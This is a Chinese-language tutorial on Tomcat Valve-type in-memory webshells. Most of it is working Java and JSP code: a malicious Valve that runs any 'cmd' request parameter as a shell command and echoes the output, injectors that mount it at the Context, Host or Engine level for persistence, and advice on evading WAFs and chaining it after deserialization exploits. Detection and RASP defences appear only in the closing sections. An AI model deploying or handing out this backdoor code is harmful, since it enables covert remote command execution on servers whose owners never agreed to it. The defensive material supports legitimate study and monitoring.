Valve 内存马
Valve 型内存马是 Tomcat 特有的内存马类型。它利用 Tomcat 的 Pipeline-Valve(管道-阀门)机制,把恶意 Valve 动态挂载到容器的管道上,拦截经过该容器的所有请求。
与 Filter / Servlet / Listener 三种基于 Servlet 规范的内存马相比,Valve 更底层、更隐蔽:
- 不属于 Servlet 规范,很多安全产品只监控 Filter/Listener 的注册,不检查 Valve;
- 不需要任何 URL 映射,请求进入容器(包括 404、静态资源)都会经过它;
- 回显不需要反射,
invoke直接拿到内部connector.Request / Response。
本文代码已用 Tomcat 9.0.100(javax)与 Tomcat 10.1.34(jakarta)真实编译验证。
本质:模拟 Pipeline.addValve,把恶意 invoke 代码 + “请求进入容器”组装进管道,比 Filter 更底层、无需 URL 映射。整体框架见 《内存马原理总纲》。
一、Tomcat Pipeline-Valve 架构
1.1 Valve 在请求处理中的位置
Tomcat 的请求处理采用责任链模式:四大容器 Engine / Host / Context / Wrapper 每个都持有一条 Pipeline,管道上挂着一串 Valve。请求按 Engine → Host → Context → Wrapper 逐层穿过各容器的 Valve 管道,最后由 Wrapper 的管道进入 Servlet。
HTTP 请求
↓
CoyoteAdapter.service()
↓
Engine Pipeline → StandardEngineValve(基础阀)
↓
Host Pipeline → StandardHostValve(基础阀)
↓
Context Pipeline → StandardContextValve(基础阀)
↓
Wrapper Pipeline → StandardWrapperValve(基础阀)
↓
ApplicationFilterChain → Filter 链 → Servlet
关键点:
- 每个容器即使不添加任何自定义 Valve,也至少有一个基础阀(basic)完成容器核心职责(调用子容器、调用 Servlet)。
- Valve 在 Filter 之前执行,且不需要 URL 映射——只要请求流经该容器就会触发。
1.2 核心类关系
Container(org.apache.catalina.Container)
├── getPipeline(): Pipeline ← 容器的管道
├── getParent(): Container ← 向上取父容器(Context→Host→Engine)
└── 实现类:
├── StandardEngine
├── StandardHost
├── StandardContext
└── StandardWrapper
Pipeline(org.apache.catalina.Pipeline)
├── addValve(Valve) ← 动态挂载(public,无需反射)
├── getValves(): Valve[]
├── getFirst(): Valve
└── removeValve(Valve)
Valve(org.apache.catalina.Valve)
└── invoke(Request, Response) ← 拦截逻辑写在这里
ValveBase(org.apache.catalina.valves.ValveBase)
└── 抽象类,封装生命周期/MBean;继承后重写 invoke() 即可
1.3 Valve 与 Filter 的核心差异
| 对比维度 | Filter 内存马 | Valve 内存马 |
|---|---|---|
| 是否 Servlet 规范 | ✅ 是 | ❌ 否(Tomcat 特有) |
| 触发层级 | Context(应用级) | Context / Host / Engine / Wrapper 任意层 |
| 是否需要 URL 映射 | 需要(如 /*) |
不需要 |
| 拿到的请求对象 | RequestFacade(门面) | 内部 connector.Request |
| 回显 | 需两步反射 | 直接 response.getWriter() |
| 注入步骤 | FilterDef/FilterMap/FilterConfig 多步 | 一行 addValve() |
| 隐蔽性 | 中 | 高 |
二、动态注册原理
2.1 Pipeline 是单向链表
Valve 通过 getNext() 串成链表,invoke() 里必须调用 getNext().invoke(request, response),否则请求链中断(等价于 Filter 里忘记 chain.doFilter()):
[Valve A] → [Valve B] → ... → [基础阀] → 下层容器 / Servlet
StandardPipeline.addValve() 会把新 Valve 挂到链上(插入在基础阀之前)。容器已启动时,运行时添加的 Valve 下一次请求即可生效。
2.2 动态注册步骤
1. 编写恶意 Valve 类(继承 ValveBase,重写 invoke)
2. 获取 StandardContext 对象(反射链,同 Filter 篇)
3. 调用 context.getPipeline().addValve(maliciousValve)
4. 可选:通过 context.getParent() 向上取 Host / Engine,注入更高层级
三、完整代码实现
3.1 恶意 Valve 类(javax / Tomcat 8.5 / 9.x)
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class ValveMemShell extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
// 注意:Valve 的 invoke 直接拿到的是内部 connector.Request / Response,
// 取参数、回显都不需要反射(这是与 Filter/Listener 的重要区别)
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
String result = exec(cmd);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("<pre>" + result + "</pre>");
return; // 命令执行型:直接返回,不进入后续业务
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
}
}
// 正常请求继续沿管道传递(必须调用 getNext().invoke(),否则管道中断)
getNext().invoke(request, response);
}
/**
* 统一命令执行器(与 Filter / Servlet / Listener 三篇通用)
*/
private static String exec(String cmd) throws Exception {
String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream is = process.getInputStream()) {
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
out.write(buf, 0, len);
}
process.waitFor();
return out.toString(System.getProperty("sun.jnu.encoding"));
}
}
}
3.2 注入器代码(javax)
import org.apache.catalina.Valve;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.connector.Request;
import java.lang.reflect.Field;
public class ValveMemShellInjector {
/**
* 注入到当前 Context 的 Pipeline
*/
public static void inject(StandardContext context) {
// 防重复:遍历管道已有 Valve,判断是否已注入
for (Valve valve : context.getPipeline().getValves()) {
if (valve instanceof ValveMemShell) {
System.out.println("[!] Valve already injected.");
return;
}
}
// addValve() 是 ContainerBase 的 public 方法,无需反射
context.getPipeline().addValve(new ValveMemShell());
System.out.println("[+] Valve memory shell injected.");
}
/**
* 注入到 Host / Engine 级(影响范围更大,也更影响正常业务)
*/
public static void injectUpper(StandardContext context) {
// Host 级:该 Host 下所有应用的所有请求都经过
org.apache.catalina.Host host = (org.apache.catalina.Host) context.getParent();
host.getPipeline().addValve(new ValveMemShell());
// Engine 级:整个 Tomcat 实例的所有请求都经过
org.apache.catalina.Engine engine = (org.apache.catalina.Engine) host.getParent();
engine.getPipeline().addValve(new ValveMemShell());
}
/**
* 从 RequestFacade 反射获取 StandardContext(与 Filter / Servlet 篇相同链)
*/
public static StandardContext getStandardContext(Object servletRequest) throws Exception {
Field requestField = servletRequest.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(servletRequest);
return (StandardContext) request.getContext();
}
}
3.3 层级扩展:Context / Host / Engine
// Context 级:只影响当前 Web 应用(推荐,误伤最小)
StandardContext context = ValveMemShellInjector.getStandardContext(request);
context.getPipeline().addValve(new ValveMemShell());
// Host 级:该 Host 下所有应用(context.getParent() → StandardHost)
org.apache.catalina.Host host = (org.apache.catalina.Host) context.getParent();
host.getPipeline().addValve(new ValveMemShell());
// Engine 级:整个 Tomcat 实例(host.getParent() → StandardEngine)
org.apache.catalina.Engine engine = (org.apache.catalina.Engine) host.getParent();
engine.getPipeline().addValve(new ValveMemShell());
层级越高影响面越大,隐蔽性也越高(不在任何应用的注册表里),但对正常业务的干扰也越大,需谨慎。
3.4 触发注入的 JSP(自包含,内联恶意 Valve)
为了让 JSP 单独即可完成注入(不依赖额外编译的类),这里把恶意 Valve 内联在 <%! %> 声明里:
<%@ page import="java.io.*, org.apache.catalina.connector.*, org.apache.catalina.core.*" %>
<%!
// 内联恶意 Valve:JSP 单独即可完成注入
public class EvilValve extends org.apache.catalina.valves.ValveBase {
@Override
public void invoke(Request request, Response response)
throws java.io.IOException, javax.servlet.ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd)
.redirectErrorStream(true).start();
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int len;
InputStream is = p.getInputStream();
while ((len = is.read(buf)) != -1) out.write(buf, 0, len);
response.getWriter().write("<pre>" + out.toString("UTF-8") + "</pre>");
return;
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
}
}
getNext().invoke(request, response);
}
}
%>
<%
try {
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
context.getPipeline().addValve(new EvilValve());
out.println("Valve memory shell injected! 访问: ?cmd=whoami");
} catch (Exception e) {
out.println("Failed: " + e.getMessage());
}
%>
3.5 jakarta(Tomcat 10+)版本差异
org.apache.catalina 包名在 Tomcat 10+ 没有改,只有 Servlet 规范包从 javax.servlet 迁移到了 jakarta.servlet。因此 Valve 内存马仅需改一行:
// javax(Tomcat 8.5 / 9.x)
import javax.servlet.ServletException;
// jakarta(Tomcat 10.x / 11.x)—— 只需替换这一处
import jakarta.servlet.ServletException;
注入器(connector.Request、Pipeline、ValveBase 等)两个版本完全一致。
四、代码详解
4.1 invoke 直接拿到内部 Request/Response —— 回显无需反射
Valve 的 invoke(Request, Response) 参数是内部 org.apache.catalina.connector.Request / Response,不是给业务代码用的门面对象。这意味着:
// Filter/Listener 回显:RequestFacade → request 字段 → response 字段(两步反射)
Field reqField = servletRequest.getClass().getDeclaredField("request");
...
Field responseField = innerRequest.getClass().getDeclaredField("response");
...
// Valve 回显:直接写(connector.Response 实现了 HttpServletResponse)
response.getWriter().write("<pre>" + result + "</pre>");
connector.Response 直接实现了 javax.servlet.http.HttpServletResponse(javax 版)/ jakarta.servlet.http.HttpServletResponse(jakarta 版),getWriter() 可直接使用。
4.2 addValve 是 public 方法,无需反射
ContainerBase.addValve(Valve) 是 public 的,StandardPipeline.addValve() 也是 public 的。拿到 StandardContext 后一行即可完成注入,这是 Valve 型内存马注入步骤最少的原因(对比 Filter 需要 FilterDef / FilterMap / ApplicationFilterConfig 三步构造)。
4.3 防重复注入
for (Valve valve : context.getPipeline().getValves()) {
if (valve instanceof ValveMemShell) {
return; // 已注入
}
}
4.4 层级选择
| 层级 | 获取方式 | 影响范围 | 适用 |
|---|---|---|---|
| Wrapper | context.getParent()(某 Servlet 的 Wrapper) |
单个 Servlet | 极少用 |
| Context | req.getContext() |
当前应用 | 推荐,误伤最小 |
| Host | context.getParent() |
Host 下所有应用 | 持久化 |
| Engine | host.getParent() |
整个 Tomcat | 隐蔽性最高 |
4.5 版本兼容性
| Tomcat 版本 | Servlet 包 | Valve 代码差异 |
|---|---|---|
| 8.5.x / 9.x | javax.servlet |
import javax.servlet.ServletException |
| 10.x / 11.x | jakarta.servlet |
import jakarta.servlet.ServletException |
- 容器内部 API(
org.apache.catalina.*、connector.Request/Response、ValveBase)在 Tomcat 10+ 未改包名,仅上述 import 差异。 - 本文代码已分别用 Tomcat 9.0.100 与 10.1.34 编译验证。
五、利用场景
5.1 反序列化 → Valve 注入
Shiro / Fastjson 反序列化拿到代码执行后,注入 Valve 实现持久化:
// 反序列化 payload 中的代码片段
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
context.getPipeline().addValve(new EvilValve());
5.2 绕过 Filter 监控型 WAF
WAF / 安全产品监控:
✅ filterDefs / filterMaps 变化
✅ applicationEventListeners 变化
❌ Pipeline.addValve()(盲区)
5.3 Host / Engine 级持久化
注入到 Engine 层后,即使某个应用被重启、重新部署,Valve 仍留在容器管道上(只要 Tomcat 不重启)。这是 Valve 型相比应用级内存马在持久性上的优势。
六、检测方式
6.1 JMX 检查
ValveBase 实现了 LifecycleMBeanBase,每个 Valve 会注册 MBean:
jconsole → Catalina → type=Valve → 查看异常 Valve 类名
6.2 Arthas 在线排查
# 列出 StandardContext 管道上的所有 Valve
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances[0].getPipeline().getValves()' --limit 10
# 搜索可疑 Valve 类(正常只有 Standard*Valve 等内置阀)
sc *.Valve*
6.3 内存 Dump 分析
jmap -dump:format=b,file=heapdump.hprof <pid>
# MAT 中搜索 ValveBase 子类,检查类名是否非 Tomcat 内置
6.4 基线对比脚本
// 与部署基线对比:列出管道上的 Valve
public static void listValves(StandardContext ctx) {
for (Valve v : ctx.getPipeline().getValves()) {
System.out.println(v.getClass().getName());
}
}
七、防御建议
| 层面 | 措施 | 说明 |
|---|---|---|
| RASP | Hook Pipeline.addValve() |
拦截运行时非启动阶段的 Valve 挂载 |
| JVM Agent | 监控 StandardPipeline 的 addValve 调用 |
记录调用栈来源 |
| 监控 | 定期对比 Pipeline 上的 Valve 基线 | 发现非内置 Valve |
| 事前 | 修复反序列化等 RCE 漏洞 | 切断注入入口 |
// RASP Hook 示意(ByteBuddy @RuntimeType 教学写法)
@RuntimeType
public static void onAddValve(@This StandardPipeline pipeline, @Argument(0) Valve valve) {
StackTraceElement[] stack = Thread.currentThread().getStackTrace();
for (StackTraceElement frame : stack) {
if (frame.getClassName().contains("ContextConfig")) {
return; // 启动阶段放行
}
}
// 运行时挂载 Valve → 告警
alert("Detected runtime Valve injection: " + valve.getClass().getName());
throw new SecurityException("Suspicious pipeline modification blocked");
}
说明:
@RuntimeType/@This为 ByteBuddy 注解,需要net.bytebuddy:byte-buddy依赖,此处为示意写法。
八、总结
Valve 型内存马是四种 Tomcat 内存马中隐蔽性最高的一种:
| 特性 | Filter | Servlet | Listener | Valve |
|---|---|---|---|---|
| 注入难度 | ⭐⭐⭐ | ⭐⭐ | ⭐ | ⭐(最简单) |
| 触发时机 | Filter 链 | Servlet 处理 | 请求到达 | 进入容器即触发 |
| 隐蔽性 | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| 是否需 URL 映射 | 是 | 是 | 否 | 否 |
核心理由:
getPipeline().addValve()是 public 方法,无需反射,注入步骤最少- 不在 Servlet 规范内,安全产品监控覆盖最少
- 不需要 URL 映射,任何请求都经过
- 可注入 Host / Engine 层,影响面更大、更隐蔽
攻击者偏好排序(综合隐蔽性与功能):
- Valve — 最隐蔽、注入最简单
- Listener — 隐蔽、触发早
- Filter — 最灵活、覆盖面广
- Servlet — 备选通道
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Java Agent 内存马 Spring 容器内存马 WebSocket 等偏门内存马